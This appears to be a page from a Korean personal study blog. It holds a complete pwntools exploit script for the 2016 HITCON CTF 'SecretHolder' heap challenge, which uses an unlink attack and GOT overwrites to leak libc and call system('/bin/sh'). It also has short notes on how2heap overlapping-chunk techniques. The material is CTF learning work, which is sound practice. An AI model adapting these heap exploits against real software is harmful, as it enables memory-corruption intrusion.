HanJeouk의 개인공부 블로그

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

다른 문제들을 풀면서 내가 아직 청크를 컨트롤하는 부분이 많이 미흡하다고 생각했다. 그래서 전에 풀이를 보고 풀었던 Hitcon의 secret holder를 다시 풀어보았다. 물론 풀이를 안보고 풀었다. sleepy_holder까지 풀고 원래 풀던 문제를 다시 잡아야겠다. 처음 풀었던 글에 설명을 썼으니까 여기에는 익스코드만 올려야지 ㅎ.

전에 풀었던 것과 비교해봤는데 릭은 똑같이 했고 이번에는 공격을 free를 system으로 덮어서 풀었다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
= process("./SecretHolder")
elf = ELF("./SecretHolder")
def keep(size,content):
        p.sendafter("3. Renew secret\n","1")
        p.sendafter("3. Huge secret\n",str(size))
        p.sendafter("secret: \n",content)
 
def wipe(idx):
        p.sendafter("3. Renew secret\n","2")
        p.sendafter("3. Huge secret\n",str(idx))
 
def renew(idx,content):
        p.sendafter("3. Renew secret\n","3")
        p.sendafter("3. Huge secret\n",str(idx))
        p.sendafter("secret: \n",content)
 
keep(1,"A"*16)
keep(2,"B"*16)
keep(3,"C"*16)
 
wipe(3)
wipe(2)
wipe(1)
 
 
keep(3,"A"*16)
wipe(1)
 
keep(1,"a"*16)
keep(2,"b"*16)
 
renew(3,p64(0)+p64(0x21)+p64(0x6020b0-0x18)+p64(0x6020b0-0x10)+p64(0x20)+p64(0xfb0))
wipe(2)
keep(2,"c"*8)
renew(1,"A"*8+p64(0x6020a8))
renew(2,p64(elf.got["free"]))
renew(3,p64(elf.plt["puts"]))
 
renew(1,"a"*8+p64(elf.got["puts"]))
wipe(2)
puts = u64(p.recv(6)+"\x00"*2)
base = puts-0x6f690
system = base+0x45390
binsh = base+0x18cd57
one = base+0xf1145
#0xf1145 0xf02a4 0x4526a 0x45216
print "puts: " + hex(puts)
print "base: " + hex(base)
print "system: " + hex(system)
print "binsh: " + hex(binsh)
print "one_shot: " + hex(one)
 
renew(1,"a"*8+p64(binsh)+p64(elf.got["free"]))
renew(3,p64(system))
wipe(2)
p.interactive()
cs


'CTF' 카테고리의 다른 글

2017 Codegate Final petshop  (0) 2018.03.27
2016 Hitcon sleepy holder [Again]  (0) 2018.03.22
2017 hitcon training zoo  (0) 2018.03.14
2018 N1CTF vote  (0) 2018.03.12
2014 Hack.lu CTF OREO  (0) 2018.03.06

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

조건

1. free된 청크의 사이즈를 조작할 수 있어야 한다,


1. 청크 5개를 할당한다(p1, p2, p3, p4, p5) . line 27 ~ line 31

2. p4 청크를 free 시킨다. line 53

3. p2 청크의 사이즈를 p3 청크의 사이즈만큼 더한 값으로 설정한다. line 57 

#조작한 사이즈 = p1_size+p2_size = 0x1000 + 0x1000 = 0x2000

4. p2 청크를 free 시킨다. line 61 #0x2000짜리 청크를 free한게 된 셈이다.

5. 조작한 청크 사이즈(0x2000)만큼 다시 할당한다. line 65 #그렇게 되면 free 됐었던 p2 청크주소에 할당이 된다.

할당을 하면 할당한 청크안에 p3 청크가 있게 된다. 그래서 p3 청크의 값을 덮을 수 있다.

'Documents > how2heap' 카테고리의 다른 글

how2heap overlapping_chunks  (0) 2018.03.19
how2heap house of spirit  (0) 2018.03.03
how2heap house_of_lore  (0) 2018.03.02
how2heap house_of_force  (0) 2018.02.20
how2heap unsorted_bin_attack  (0) 2018.01.17


조건: 

1. free된 청크의 사이즈를 조작할 수 있어야 한다. 

2. small bin과 fastbin의 할당이 자유로워야 한다.


1. p1(0x100-8),p2(0x100-8),p3(0x80-8)을 할당한다. (line 22 ~ line 24)

2. p2를 free한다. (line 33)

3. evil_chunk_size(0x181)와 evil_region_size(0x180-8)를 선언한다. (line 42 ~ 43)

4. free된 p2의 사이즈를 evil_chunk_size(0x181)로 바꾼다. #0x111 에서 0x181로 바뀜.

5. evil_region_size(0x180-8)만큼 할당을 한다. #free된 p2의 사이즈가 0x181이기 때문에 p2의 주소에 할당이 될 것이다. 0x180만큼 할당하게 되면 사이즈가 크기 때문에 뒤에 있던 p3의 값도 덮을 수 있게 된다.

'Documents > how2heap' 카테고리의 다른 글

how2heap overlapping_chunks2  (0) 2018.03.19
how2heap house of spirit  (0) 2018.03.03
how2heap house_of_lore  (0) 2018.03.02
how2heap house_of_force  (0) 2018.02.20
how2heap unsorted_bin_attack  (0) 2018.01.17

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인